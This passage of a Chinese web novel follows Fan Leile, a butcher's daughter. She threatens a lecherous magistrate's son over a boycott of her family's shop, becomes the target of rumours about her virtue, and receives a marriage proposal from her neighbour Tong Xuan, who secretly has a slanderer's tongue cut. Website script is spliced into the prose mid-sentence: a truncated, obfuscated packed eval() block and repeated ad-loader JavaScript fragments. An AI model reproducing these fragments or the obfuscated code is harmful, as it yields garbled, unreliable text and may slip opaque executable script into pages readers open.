船停住,那舟子问:“可是范乐乐范姑娘?” 范乐乐点头,二话不说,往船上一跳,舟子还未及反应,却见这虎虎生风的姑娘已经掀开帘子,径直入了内。 船内装潢精美,中间立一方小几,旁边的小厮正跪坐一边,扶住冰鉴桶。船身晃荡,范乐乐看到坐在中间那人,一双色眯眯的狭长眼正盯住自己看。 她蹙眉,原来贺钟鸣这厮长这样。 却是也不难看,勉强算得上一个样貌周正,就是那气质委实啷当,一对眼珠子滴溜溜转,在她身上瞧右看,似乎恨不能用眼神将她扒个干净。 轻浮狎昵,猥琐卑鄙。范乐乐立马给他脸上盖个戳。 “哟,瞧瞧,盼星星盼月亮,可算把我这神仙姐姐盼来了。”他一开口,更恶心了…… 范乐乐被他这词儿打起一个激灵,昨晚上吃的饭都在胃里闹腾起来。 她放下竹蔑,盘腿在他对面坐下,冷冷开口:“贺钟鸣,我问你,我家铺子买不到猪了,是不是你背地里搞的鬼?” 姑娘坐得近了,身上有股若有似无的花香,是她用的头油香气,还有少女特有的体香。 他登时心猿意马,不着痕迹地深吸口气,将她身上的香气渡到自己肺里,露出个餍足的笑,朝一旁的小厮摆摆手,“范姑娘莫急,夏日天热,先来口冰酒凉凉身子。” 小厮掀开冰鉴桶,竹勺舀出早早就冰在里面的清酒,盛入白瓷酒杯里。 范乐乐垂眼看那酒,冷笑不语。 这厮递到嘴边的东西,她可不敢吃,别一杯酒下肚,给自己迷晕过去了。 “贺钟鸣,我是来谈事的,不是来陪你喝酒的。” “哎,这酒为助兴,事儿自然也是要谈的。”他将酒杯往她跟前推了推,眼神又从她嘴上,滑到她领口处。 姑娘唇瓣嫣红,水润盈泽,一粒唇珠倔强地翘着,引得人想要采撷。修长的脖颈白如瓷釉,没入衣领里,叫人忍不住遐想,那粗布麻衣之下的风光。 可惜了,这样一株美人胚子,却生在了那腥臭的肉肆里,不如叫自己带回家,娇养在床笫间。 姑娘的红唇一张一合,他恍惚想象着,娇吟声从那双嫩瓣中逸出的样子。 “喂!我问你话呢!” 范乐乐见他走神,手掌在桌上一拍,柳眉倒竖。 她哪里知道,对面那纨绔对着自己的龌龊肖想。 “你先给我句实话,我家铺子的事儿,到底是不是你干的?” 他收回了神思,吊儿郎当地歪靠在案几上,“若非这样,姐姐又怎么肯来见我?” 贺钟鸣实则比范乐乐还要大上两三岁,但时人流行对女子敬称为“姐姐”,他也觉得这样亲切,便一口一个姐姐地叫。 “我就知道!果然是你!”范乐乐一听,登时怒了。 贺钟鸣却瞧这小娘子生气的模样,杏眸圆睁,黛眉紧蹙,比之刚刚的冷淡竟是更添鲜活灵动。他心下痒痒,爱极了她这副娇嗔面孔。 “那么个小破肉铺,关了就关了,活儿又脏又累,一天才能挣几个钱?倒是辛苦我们姐姐了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小厮这才回过神来,忙一个咕噜,双手就要去拔那刀,却被范乐乐又是一脚蹬开。她单脚踩住案几,俯身握住刀柄,用力一拔。 刀拔出,船板上留下一道深深的刻痕。 贺钟鸣呼呼喘气。天呐!若是这柄刀刚刚真的砍在了自己的……那他后半辈子还活个什么劲儿啊! 他抖着脸颊抬头,却见范乐乐手举着刀,头一歪,露出个天真的笑。 “你……你到底想干嘛?我告诉你……杀人可是……要偿命的。” “我当然知道啊……杀人要偿命的嘛!”她把刀往前一递,虚晃一招,闪闪寒光从贺钟鸣脸上晃过。 两个男人又吓得惊叫出声,好在只是虚惊一场。 刀背在贺钟鸣脸上拍了拍,“贺公子,我们这些穷人不比你们,还有这么多没享完的福。我们嘛……要钱没有,只有这贱命一条。若是你执意要再为难我们家,好嘛,我范乐乐也不怕,豁得出去!大不了就用我这条贱命,换贺公子您一条金贵命。” “这买卖,我不亏。”她挑眉,唇角翘起。 贺钟鸣咽了咽口水,早已吓破了胆。 这姑娘是个敢硬碰硬的,就怕她真干得出来! 这就叫软的人怕那横的人,横的人怕那贼的人,而那贼的人,就怕那不要命的呀! “好……好……我答应你……你你,赶紧把刀拿开。” 冷冷的刀背在脸上胡乱地拍,这感觉,真是不好受。 范乐乐哪里肯听,又顺着他的脸,来到了下巴处,手一使劲儿,刀抬起他的下巴,“我给你三天时间,三天后,若是我家还买不到猪,就等着我来取你这条狗命!” 船靠岸,范乐乐把刀收回刀鞘,又跳回了岸上,扬长而去。 “公子。”小厮赶忙把贺钟鸣扶起,那怂包还没回过力来,软塌塌靠着小厮,“我缓缓……缓缓……” “公子,那范姑娘也忒剽悍了,到底是个杀猪的,您没把她娶回家,真是幸事。” 贺钟鸣闭眼压在他肩上,竟是露出个回味的笑,“你懂什么,这样的姑娘才带劲儿。” 人长得似朵娇花,实则内里是朵霸王花,又凶又软,得劲儿的很! 贺钟鸣此生还没碰过这种的姑娘,若是和她在床上,那才真是别有一番滋味…… “松墨,你去岸上、船上,寻一些看到她上了我船的人,我要托他们,替我在浔阳县传一些话。” 嘴角带出阴冷的笑,他执起酒杯,仰头喝尽。 范乐乐,你逃不掉的,我要这浔阳县,再没有男子愿意娶你。 19. 香艳绯闻 范乐乐下了船后的第三日,欢乐肉铺重新开张。 而与此同时,一些流言蜚语也在街头巷陌传了开来。 “真的!我亲眼看到的!那就是贺二公子的画舫,范家闺女上去后,没多久,那船就开始晃悠晃悠……里头还有些声响……哎呦!这话我都不好意思说!” “真假的?” “千真万确!当时岸上好多人都看到了,那姑娘衣衫凌乱,手揪着衣领,哭哭啼啼就从船里头跑出来啦!” “啧啧啧,要不怎么说还是那些公子哥儿会玩儿,游船戏水啊!” “哎?戏的什么水?你可要说清楚了。” “你说戏的什么水?还不明白吗?” “你说那范家闺女啊?” “你小子,这不明白着嘛。” “哈哈哈哈哈!” 众人互相了然,猥琐大笑。 “哎?你们说的那个范家闺女,到底谁啊?” “就南阳街上那家卖肉的,欢乐肉铺老板的女儿!” 正可谓众口铄金,三人成虎。 短短几日,关于贺钟鸣“游船戏水”的桃色绯闻就传遍了浔阳县的大街小巷。连带着范乐乐的名声也在浔阳县大了起来,自然,这也并非什么好名声。 故事越传到后面越离奇,甚是有人添枝加叶、添油加醋,硬生生把故事讲成了一则画面香艳的小黄文。 至于故事中的两位主人公,于贺钟鸣而言,这种香艳传闻是为他做锦上添花用,男人们听了只会艳羡,贺公子风流倜傥,游戏人间,真叫人好生嫉妒。 而于范乐乐而言,简直是免顶之灾。 欢乐肉铺。 这几日,肉铺的生意堪称火爆,不为别的,只为全浔阳县的人都想来看看,这位艳闻中的女主角“范家闺女”。 但是来人们没看到传闻中同知县公子在画舫上颠鸾倒凤的美娇娥,只看到个满脸横肉、目露凶光的精悍屠户。 流言插上翅膀,自然也飞入了范家父女耳中。 范屠户坚决不准范乐乐再露面,只把她关在了家里,可过不了几日,连他也支撑不下去了。虽然每日顾客络绎不绝,他却一点也开心不起来,只觉心如刀绞。那些人不置一词,当着他的面自然是一句难听的话也问不出,可他们那戏谑打量、不怀好意的眼神,足以叫他万箭穿心。 范屠户干脆地把铺子一关,又暂时歇业。 他不敢想象,他家乐乐要如何去面对这一切,总不能一辈子不见人吧? 流言猖獗。之前的“扔聘礼”事件本就闹得不好听,现在直接来一出“失身于人”,姑娘家的名声是彻底坏了,以后整个浔阳县,还有哪个好人家敢要她范乐乐? “我之前怎么跟你说的?做事不要冲动莽撞,别以为自己会耍几个把式就了不得了,瞪起个眼睛就敢到处跟人叫板。现在好了?现在好了!” 范屠户面红耳赤,急得来回踱步,范乐乐只是垂头坐在凳子上,闷声不说话。 “你就是太任性!太不知天高地厚!做事情之前有没有想过后果?你上他船之前有没有想过后果?有没有?!” “可是我们真的什么都没有发生呀!”范乐乐不服地抬头辩驳:“我的武艺您是知道的,他贺钟鸣一个弱鸡废物,哪里能是我的对手?!” 范屠户见她还是不开窍,更是差点气厥过去,“那重要吗?啊?你说什么都没发生,谁信呐?啊!”他大吼一句,整个屋顶都震三震。 “乐乐……你知不知道,人言可畏啊……”他肩膀一塌,彻底丧了气,屁股往椅子上一坐,“对一个姑娘家来说,最重要的就是名节,你现在这样……以后还怎么议亲事呐?” 难不成她家乐乐,真的只能嫁给那个贺钟鸣做妾吗?他不甘心啊! 范乐乐又被说得低了头,黑亮的辫子垂在肩侧,无精打采的。 心里懊丧吗?可能有点儿吧。 范乐乐并不知道贺钟鸣在其中的推波助澜,只以为真是周围的百姓多舌,目睹了她进贺钟鸣的画舫,又见画舫摇摇晃晃,遂开始散播这种可笑谣言。 其实画舫摇晃是因为她差点把贺钟鸣的小兄弟给剁了,但是并没有人关心事实,大家宁愿相信是她和贺钟鸣发生了点什么不可告人之事。 范乐乐无力反驳,这次她确实又因为自己的莽撞而吃了一次暗亏。 “议不了亲就不议了,大不了我不嫁,服侍爹爹一辈子。”她揪着辫子,嘟囔出声。 “你……!”范屠户气得说不出话。 “说的什么胡话?!” 正因为乐乐是他的心头肉,他才必须把她托付出去。自己注定是要走在她前头的,就怕哪一日自己走了,她又没能成个家,独身女子的艰难她不懂,只恐到时候是个男的都能翻墙过去糟蹋她,这样的话,他走都走得不瞑目啊! 屋内一时没有人说话。 夏夜虫鸣,不知是哪个小水坑中又蹲了只小青蛙,咕咕呱呱,堂屋静谧,发出微弱的回响。 “乐乐,实在不行,咱搬走吧。” “爹!”她诧异地抬头,眸中浸润着水光,映出油灯的微火,波光闪动。 范屠户抽出烟杆,将上面挽着的挂绳绕开,有气无力道:“咱换个地方,换个没人认识的地方,只要咱爷俩在一块儿,在哪儿过不是过呢?” 反正他们本也是逃荒来的浔阳县,在这里无亲无故,无牵无挂,大不了搬家,重新择一处地方,从头来过。 * 吴松明退亲后的第九日,他依旧未现身书院。但是书院的流言,早已按捺不住了。 “要我说啊,这吴松明和范乐乐那婚事,退得可是太及时了。”那位“说书先生”张致远又开说了。 大家围坐在他周围,手上握一捧瓜子儿,饶有兴趣地听着。 “吴兄真是有先见之明,就范乐乐和贺钟鸣那个污糟事儿……啧啧啧,说出去,我都嫌脏了这读书人的嘴……” “范乐乐和贺钟鸣怎么了?”在一旁“认真看书”的佟暄终于绷不住了。 这几日,他命暗卫私下搜集贺庆岚贪赃枉法的证据,还给三叔去了封信,就等着时机成熟,把那个姓贺的从知县的位置上一脚踹开。没成想,这么快好像又有了新变故。 那“说书先生”转过头,朝佟暄眉飞色舞一笑,“怎么,打搅佟兄看书了?” 他就说嘛,那小子装呢,明明把他的话一字不漏听去了。 佟暄压下心底的怒火,眉眼依旧温和,淡声道:“谈不上。” “敢问张兄说的究竟何事?如何便能脏了你的嘴巴?”他暗自咬牙,笑容却始终亲切。 张致远忙起身穿过人群,坐在佟暄桌上,俯身拍拍他的肩,靠在他耳边,用虽然貌似低声却又所有人都听得到的声音道:“所以我说佟兄你眼睛擦得亮。” “当时那范乐乐死乞白赖追着你,我心里就知道,这姑娘人不正经,还好你没着了她的道。这不?你看看,人还待字闺中呢,竟就跑船上和那个贺公子……”他故意顿了顿,露出个不怀好意的笑,“据说……玩儿得那叫一个花呀……” 周围的学子配合地发出几声猥琐的笑。 佟暄几不可查地皱眉,“是吗?张兄又如何得知?” “整个浔阳县的人都知道了!好多人亲眼看到那范乐乐上了他贺公子的船,小舟摇摇,云雨巫山……” 学子们发出几声低笑,那笑声充满猥亵的遐想。 拳头在袖中握紧,他按压下眼底的阴翳,很快又展平眉眼,神色如常。 “要不怎么说,你和吴兄是明白人。”张致远又拍拍他的肩头,“这得亏和她摘清了关系,否则把个这样的破鞋娶回家,迟早也是头顶一片绿油油。” “哈哈哈哈哈!” 不少学子放声大笑,甚是有人敲桌以示应和。 “行了!你少说几句!” 一旁的方恺连忙出声制止,担忧地瞥一眼佟暄,见他竟是也笑了,那笑容温煦,似是对张致远的话报以认同。 可风吹来,渡来他身上的寒气,打得方恺一个哆嗦。 夜已深,结束了一日枯燥的学习,学子们纷纷睡下。 二更天的深夜,张致远被尿憋醒,眼睛都还没睁开,就搂着他那快要爆炸的膀胱,直突突往茅房跑。 乌云蔽月,不见月光,书院里黑漆漆一片。 他起得急,连灯笼都没打,摸索着找到茅房门,正要拽开,却被一道黑影按倒在地。 “啊……” 他张嘴,未及尖叫出声,锐物从舌头上划过,半拉舌头垂在口中,将断未断。澎湃的血水咕涌着往外流,流了一嘴、淌了一身,染红了他的白色中衣。 瞳孔猛然皱缩,剧痛从舌尖坠入心脏,他惊恐地瞪大眼,却只能自喉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 间发出“唔唔呃呃”的挣扎声。 黑影唰地闪走了,徒留这位“说书先生”瘫倒在地,口中流血,身下喷尿,手脚并用地朝房舍方向爬,喉咙中逸出绝望的低吼。 * 四个时辰前。 “来了来了!” 陈玉珠听着敲门声,忙去叫佟雪开门。 每次都是我,怎么就不知道使唤一下佟岳呢? 她心里腹诽着,还是顺从地放下碗筷,跑去开门。 “哥!”无视佟暄阴沉的脸,佟雪惊喜出声。 佟氏夫妇听着动静,纷纷搁下碗筷,只有佟岳,还在心无旁骛地用力扒饭。 “阿暄,你怎么又回来了?!”陈玉珠忙起身迎过来。 说好的去书院闭关,可这几日,他却频繁地往家里跑。 陈玉珠高兴地将他按到饭桌边,又去让佟雪添一副碗筷,佟暄沉默落座,一言不发。 “你今日呀,回来得正是时候。”她往他碗里夹一块炖猪蹄,“咱们家这几日,好东西吃不完咯!你瞅瞅,这是隔壁范家送来的猪蹄膀,厨房里还有一堆,都是他们送来的,什么后腿肉、排骨啊……天热又怕放坏咯,咱可得紧着把它们吃完。” 佟暄蹙眉,“隔壁为什么要给我们送这么些东西?” 桌上一时沉默,大家悬着筷子,不知如何作答。 “这……还不是乐乐那个事儿闹得嘛……”还是陈玉珠率先开口:“范家是把知县给彻底得罪了,乐乐嘛……姑娘家的名声也坏了,在这浔阳县里哪儿还待得下去?” “他们就合计搬家走人,一了百了。可能也是念在这么多年邻里的份儿上,乐乐这几日正给这葫芦巷里挨家挨户地送猪肉呢。” 她说着,竟兀自哽咽了,长叹一口气:“你说说……这么好的姑娘,怎么就摊上这么个事儿呢?今儿她来送猪肉,小姑娘还跟我笑呢,说佟姨呀……” “啪”地一声,佟暄将筷子摔在桌上,佟家人俱是一愣,朝他看去。 他垂眸,胸口急促起伏,眼底的神色晦暗莫辨,可那周身笼罩的肃冷之气,叫人触而生寒。 “抱歉,刚刚是我手滑了。”他又拿起筷子,去夹碗里的猪蹄,渐渐平稳住呼吸。 饭桌上气氛凝重,大家纷纷埋头,只剩咀嚼饭粒声。 佟暄手紧紧捏着筷子,白皙的手背青筋暴突,眼底由那阴云中,陡然乍现出一丝茫然。 范乐乐要搬家了?她要走了,离开浔阳县,离开这里,去到一个他再也看不到的地方…… 胸口不断膨胀,再膨胀,疼痛几欲炸裂。 * 晚间佟家。 夜风吹来阵阵白玉兰的清香,甜而不腻,馥郁怡人。 一道清修的身影立在玉兰树下,风撩起他的麻布宽袍,靛青发带在空中飘扬,月光下几乎与院墙融为一体,无由几分落寞,几分萧瑟。 倏忽,院中落下一道黑影,跪在佟暄身后,“殿下,张致远已经处理了。” “知道了,退下吧。” “是!” 暗卫又翻走了,月光照在他孤寂的身形上。 他举头,望着玉兰树旁的这堵院墙,嫩叶拂过墙头,擦出沙沙声。曾经无数次,她把那颗圆圆的小脑袋由墙那头探出,“恬不知耻”地唤他、扰他,一双清凌凌的杏眸笑意澄澈,明媚无忧。 只有佟暄才懂,天底下,再没有比她那双眼睛更干净美好的东西。 范乐乐从来不知道的是,在他书屋的西面,还开着一扇小窗,可他总是执着地在东面这扇能看到玉兰树的窗边,低头温书。 佟暄攀着玉兰树,手臂撑上墙头,这是他第一次越上这堵墙,原来竟是这样视野。 隔壁范家的院子,乌漆嘛黑,借着朦胧的月光,依稀可辨院子里的一摞摞大箱子。 只消叫一辆马车,将这些箱子一搬,马鞭一扬,范乐乐就会永远从他的视野里消失。 心口撕扯一般的疼,手几乎快要撑不住墙。 李煊,小不忍则乱大谋。 你的妻子只能是临汾崔知月,这一点,谁也改变不了。而范乐乐,注定只能是你生命中的过客。 他咬咬牙,跳下墙,暗自做了个决定。 明日他要去范家,送她最后一程,见她最后一面。只当是和过去、和儿时、和那百无一用的少时悸动,一次完整的告别。 20. 我要娶她 清晨,鸟鸣啁啾,葫芦巷家家晨炊起。 “乐乐,我出去见一下姚婆,你把昨儿爹爹买回来的那个大鱿鱼给它清干净了,中午我们吃葱爆鱿鱼。”范屠户强打笑容道。 姚婆是范屠户租的铺面的屋主,他要过去和她结一下租契,做一些交接。 “哦,知道了。”范乐乐闷闷不乐地回。她从厨房把那篮子鱿鱼端出来,坐在院里的石桌旁,开始低头摆弄。 范屠户暗自叹气,手拍了拍女儿的头,安慰的话到了嘴边又梗住了,只是无声地抽回手,推开门走了。 范屠户刚走没一会儿,又响起了敲门声。 爹爹真是的,成天丢三落四。 她心里嘀咕着,放下剪子,起身去开门。 “爹,您又落什么……”话未毕,眼前的人叫她呆住了。 “你来做什么?”回过神,她秀眉微蹙,没好气地问。 他今日少见地未穿学子服,竟是换上一身竹布青衫,颜色簇新,烫得平整熨贴,墨发以一根玳瑁簪尽数绾起,越发文雅清俊。他站在院门口,淡黄的晨光笼在身后,整个人清透干净得像是被春雨洗刷过的修竹。 见他这身打扮,范乐乐忽而明白过来点。他八成是来同自己作别的。 一念及此,酸涩冲上鼻头,泪花差点没逼出来。 “进来说吧。”没等他开口,她辫子一甩,转身进了院子。 快步走回石凳边,她一屁股坐上去,拿起剪子又开始去绞鱿鱼的头,就是不去正眼看他。 佟暄慢悠悠跟在后边,在她对面坐下。 “我听我娘说……你和范叔打算搬走了?” “嗯。”她从鼻子里哼出一句,默默绞下一只鱿鱼的头,将它腹里的黑水倒出来。 姑娘只把个又黑又圆的小脑袋朝着他,不是很想搭理他的样子。刚刚开门的时候他就看到了,她眼睛肿得跟对核桃儿似的,看样子,这几日没少哭。 心又酸又涩,原本准备好的告别词,到了嘴边竟成了:“你们是非走不可吗?” 范乐乐没说话,抬手抹了把眼睛,手背上沾上几滴晶莹。 “不然呢……外面那些人怎么说我的,你难道都没听到吗?” 像被雷劈了一道,耳边猛然响起张致远的“破鞋”“不正经”…… 是啊,连张致远这么个读书人都骂得这么难听,其他人呢?只怕更是污言秽语,不堪入耳。 众口铄金,积毁销骨。他李煊能割了张致远一个人的舌头,难不成,还能把全浔阳县的舌头都割了去?! 他呆坐在石凳上,望着她无助的小脑袋,一时竟说不出话来。 范乐乐执着地低着头,篮子搁在腿上,那双去绞鱿鱼的手都因激动而哆哆嗦嗦,“我爹……我爹说了,与其在这儿被人戳脊梁骨……不如换个谁也不认识的地方,反正我们本也是外乡人,在这里也……没有什么牵挂……” 真的没有牵挂吗?那个她最牵挂的人,此刻正坐在她对面。只是可能,他甚至根本连她的牵挂都不需要、不在意。 手一抖,剪子差点戳了她的手。 “你当心!”佟暄急呼。 她头垂得更低了,咬住嘴,泪水在眼眶里打转,肩膀瑟瑟颤抖,“佟暄……我跟他……真的没有什么……” 鼻音浓重,她语调破碎地辩解。 全浔阳县的人都误解她,但她独独不希望他也误解她。哪怕他不喜欢自己,哪怕他不愿意娶自己,哪怕她要永远地离开这里了……她只是盼望,自己在他心目中永远是最初那个干净纯洁的模样。 她摇摇头,泪水啪嗒落到鱿鱼的眼睛里,“我们真的什么都没有……” “你别说了!” 他厉声喝止,落到范乐乐耳里,就是不相信她的意思。 泪水汹涌决堤,扑簌簌地滚落,打湿了整张小脸,沿下巴滴入衣襟里。 她整个人克制不住地颤抖,像是下一瞬就要散架了,小兽般的呜咽从喉咙里委屈地溢出。 他跟他们一样,也认为自己不自爱,认为自己脏嘛……? 悲伤似河水澎湃而来,几乎要将她淹没。 她小心翼翼珍藏了这么多年的喜欢,她情窦初开放在心尖上恋慕的人,离别时竟然这么想她。 她觉得自己仿佛碎成了一瓣一瓣,再也拼凑不回来。 “范乐乐……” 佟暄不知道,自己一句话,怎么叫她哭成了这样? “我没有这么想,从来没有这么想过你……” 她抬起袖子去抹眼泪,可那泪水竟是越揩越多。 “我相信你!乐乐,我信你!”他着急忙慌地解释。 她用力吸了吸鼻子,终于抬头,望着他焦灼的双眼,扯出一个笑,“佟暄……”嗓音发抖,小珍珠又从眼角滑出。 “谢谢你……这么多年……一直容忍我的任性、我的胡搅蛮缠……”她越说泪水越多,直到眼前一片模糊,再也看不清他的面容。 “后日……我们……我和爹爹……就要走了……如果你愿意的话……可不可以……可不可以……来送送我们……?” 她好想再见他最后一面啊,她不想今日是最后的告别,她眼睛哭得那么肿,头发也没梳,漂亮的衣服也没有换…… 她想至少留给他的最后一眼,是最美最美的范乐乐。 越想越难过,她里手举着鱿鱼,嘴一咧,呜呜啊啊地哭出声。 佟暄被她哭得六神无主,姑娘小脸儿通红,晶泪啪嗒啪嗒往外掉,粉白的脸颊像是刷了层胭脂。 想起上一次她这样嚎啕大哭,还是七岁那年被灶火燎着眉毛。 是啊,这是他从小护到大的姑娘,从刚学会走路起就跟在他身后跑,奶声奶气地喊“哥哥”“哥哥”。 长大后,姑娘总爱背一把杀猪刀,像只小跟屁虫似的追在他后头,声音清亮地喊“佟暄”“佟暄”。 不知疲倦,乐此不疲。 现在,她哭着跟他道别,说她要从他的人生中彻底消失。 再也见不到范乐乐了? 他不敢想,这个念头只一闪而过,脑子里“蹦”地一声,像是有一根弦断了。 “范乐乐,是不是如果我愿意娶你,你们就可以不用走了?” “呜呜……啊?”哭声戛然而止,她瞪大那双晶莹的眼,瞳仁像被洗得剔透的黑葡萄,迷茫懵懂。 “你……刚刚说什么?” 他正了正身子,直面她,眼神肃穆认真,“范乐乐,我想娶你。” 想了想,他还是加了句:“你……愿意吗?” “噗刺”!手上一用力,鱿鱼的墨汁喷出来,滋了她一脸,以及……溅到了佟暄的衣领上。竹青布衣上墨汁点点,像极了斑竹的泪痕。 范乐乐“!!!” 佟暄:“……” 他似有不悦地抿起嘴,眼见得又要露出个不耐烦的表情,范乐乐忙从凳子上跳起,手指着他道:“你……你你你!刚刚说的话可不能收回了!君子一言驷马难追,你可不能反悔的!” 她一口气说出一串词儿,急得脖子都憋红了。 刚皱起的眉头立马展开,他实在绷不住,凤眼微弯,唇边勾起个无奈的笑,“不反悔。” 他要娶她,绝不反悔。 范乐乐目露茫然,望着他舒展的笑容,那欢欣的笑意直达眼底,像只彻底放下心防的狸猫,漂亮的深瞳碎出点点晨光,他是从云中走下的少年。 那一个清晨,范乐乐记了一世。 * 范屠户从外面回来,手上拿了一大捆烟叶。他平生没有别的爱好,就是好抽口烟,怕启程远行后外面买不着抽惯的烟叶,遂囤一些带上路。 “爹!” 前脚刚迈进院门,范乐乐就从堂屋扑棱着出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来,她眼睛亮晶晶的,满是藏不住的欣喜。 “爹,我来帮你拿。”她喜滋滋从他手上接过烟叶。 范屠户大为奇怪,自己不过出了趟门,怎么回来乐乐就变得这么高兴了?他好像有好多日,都没有从女儿脸上看到这样明媚的笑容。 “乐乐,怎么了吗?”他禁不住发问。 她捧着烟叶,双脚一踮,差点没跳起来,“爹!咱不走了!佟暄早上过来说,他要娶我!” 范屠户:“(ΩДΩ)” 一脸见鬼、两眼瞪大、三分迷茫、脸色五彩斑斓的范岩范屠户:“……” 完了,他的宝贝女儿是不是悲伤过度、忧思成疾,白日里自个儿在屋里发意症了?! “乐乐!”范屠户上前,颤抖的手抚上女儿满面红光的小脸儿,“你……你没事吧……” “爹!我好着呢,没病!”范乐乐拍开他的手,“佟暄他真的说要娶我呀!”她眼睛一闪一闪的,剔透清亮,因贺钟鸣事件带来的阴霾一扫而光。 范屠户望着女儿欢喜的脸,陷入了沉思。 范家今日午膳,桌上多了一道葱爆鱿鱼。这本是他们打算搬家后,自己给自己践行的好菜。 范屠户听女儿讲完了今晨的来龙去脉,相信了她口中的话,但未必相信佟暄的话。 那小子明明亲口跟自己说过,对他家乐乐没有意思,之前闺女好端端的时候,他不愿娶,现下名声坏了,竟又巴巴地跑来跟她说这种话。这个佟暄,真是叫人捉摸不透。 他把那积了厚厚烟垢的烟嘴递到嘴边,猛抽一口,白烟自口中吐出,升腾缭绕,模糊了他思忖的面容。 “乐乐。”良久,他沉声开口:“这个事儿没有那么简单,他嘴上说是一回事,可万一回去又变卦呢?” 范乐乐也没底了,把那条烟叶在手中来回撕扯,有气无力地咕哝道:“可他都说了……过两日就会上门来提亲的。” “成。”范屠户又吐出口咽,“我且等他两日,咱东西先别急着往回收,就这么放着。” 他倒要看看,佟暄会不会真的上门提亲来。 * 隔壁佟家。 “你说什么?你要娶范乐乐?!” 陈玉珠吓得嗓子都喊破了音。 “是。”少年坐在油灯旁,微弱的火光勾勒出他坚定的脸。 “我不同意!”陈玉珠果断否决:“那外面都传成啥样儿了?她和知县那不成器的儿子,他俩……”她羞得说不出口,话到嘴边又噎了回去,只是敲着桌子,“你难道没听说吗?!” “娘,乐乐姐和知县儿子怎么了?”蹲在台阶下剥花生的佟雪回头问一句。 “大人说话,小孩儿别插嘴!”她双手叉腰,朝着佟雪怒道:“快把弟弟领到屋子里去,这没你们事儿!” 佟雪瘪瘪嘴,牵上佟岳乖乖进了后院。 见俩小孩儿走了,陈玉珠急不可耐朝着佟暄劝道:“你说说你,到底怎么想的?!以前我说跟你爹去范家提亲,你不让。现在又出了知县儿子这么档子事儿,那范乐乐清白都毁了,人都被那贺公子糟蹋完了……你这时候又抽的什么疯?说什么要娶她?” 她越说越气,手直往他脑门上戳,“我说你是不是读书把脑子给读傻了?啊?!” 佟暄也不去躲,就这么任她戳,只是平静道:“娘,乐乐没有被糟蹋。” “你又知道?” “她同我说的。” “她说你就信?!”陈玉珠气得直翻白眼。 “信。”他淡然吐字。 可是……真的那么信吗? 眉头蹙起,眸中忽而一闪,他眼神越发坚毅,“即使传言是真的……我也还是要娶她。” 佟氏夫妇俱是一愣,被他这句话震住了。 明知她被男人破了身,竟然也还是要娶?! 他是不是疯了?! 21. 对抗父母 佟氏夫妇被佟暄的话震惊了。 “你……你是不是脑子有病?佟暄!你犯贱啊!啊?!”陈玉珠抖着嗓子狮吼,佟父见她话实在说的说得难听,连忙伸手去拦,根本拦不住暴跳如雷的女人。 “别人家……遇着个二手货,躲都来不及……你倒好……上赶着往家里领,我问你,你图啥?你图什么呀?!”她手把桌子敲得梆梆做响,掌心拍红了也不觉。 佟暄知道母亲气急,只是沉默地受训,不置一词。 “那个范灵乐……全浔阳的人都知道,是他贺公子看上的人了,你……你跟他知县家做对,我们家遭得住吗?你有没有想过?有没有为我们一大家子想过啊?” 佟母这番话触得他神经一跳,淡定开口:“娘,您放心,我不会让家里有事。这件事,我自有计较。” “你有计较?你有什么计较?我们去跟知县家硬碰硬,这不是拿着鸡蛋砸石头吗?” 陈玉珠一口气堵在胸口出不来,人往桌上一趴,开始呼天抢地起来:“天爷呐……我这是造了什么孽呦……” 佟暄执起帕子起身,去拭佟母脸上的泪,温吞轻语道:“娘,您信我的,有我在,知县他不能把咱家怎么样。” 儿子的温柔抚慰让她收住了点哭,依旧抖着肩膀啜泣。 “爹,娘,范灵乐我是一定要娶的。”他语气很温和,态度却是不可置疑的蛮横。 佟母说不出话来了,只是趴在桌上抽泣,佟暄手轻拍着母亲的肩膀,征询的眼睛看向佟父。 别看陈玉珠平时在家里嚎得声大,真到了大事上,还是得佟父拿主意。 佟立冬看着儿子问询的眼神,心里很是为难。毕竟这个儿子是自己和妻子领养来的,现在又要顶着佟家的名头去和知县儿子做对,这个事儿他无论如何也不敢点头答应。 佟氏父母的顾虑,佟暄自然是理解。“爹,娘,我向你们保证,绝对不会牵连到家里,请你们相信我。” 他掷地有声,墨黑的深瞳是不容辩驳的坚毅,眼神中有股暗藏的气势,使他整个人凛然不可侵。 他就像个天生的掌控者,叫人不敢反驳,佟立冬的那个“不”字堵在了嗓子眼,再也吐不出来。 很小的时候,佟立冬就发现,佟暄跟别的小孩儿不太一样。他那双极其漂亮的眼睛里总像深藏着一汪潭水,少了几分孩童的天真,却多出几分平静的莫测。 陈玉珠心疼,觉得是这小儿因自幼被父母遗弃,所以心思太重。 但佟立冬却觉得,不止于此。 他看人的眼神里有种倨傲,幼时尚不知掩藏,随着年岁的增长,倒是渐渐淡了去。可在这种时候,他那骨子里与生俱来的傲气,又冒了出来。 想起那个把他托付在佟家的一身富贵相的家奴,还有那笔金额不小的银子,佟立冬时常隐隐约约感觉,佟暄的身世必不简单。 这个养子一向太有主意,脑子又灵、学识又多,他拿定了的事儿,谁也改变不了。 罢了,只能信他这一次。 “行,我知道了,就依你的意思。”佟父点点头,盖棺定论。 * 两日后。 葫芦巷又热闹了起来,大家不敢公然围观,纷纷从窗户、门缝里探头往出瞧。 又有一箱箱聘礼抬进了范家的大门,只不过这一次,聘礼是直接从隔壁佟家抬去了范家。 乖乖!这是怎么个情况?佟家竟要和范家结姻亲了? 在这个节骨眼上往范家下聘,佟家人是怎么想的?专喜欢挑个公子哥玩儿过的二手货? 斜对门儿的刘嫂子向来和陈玉珠交好,她坐不住,猫悄地进了佟家门,把范灵乐和贺钟鸣那点传闻又是同陈玉珠一顿绘声绘色地演绎。 陈玉珠越听脸色越黑,丝毫没有要迎接新媳的欢喜。 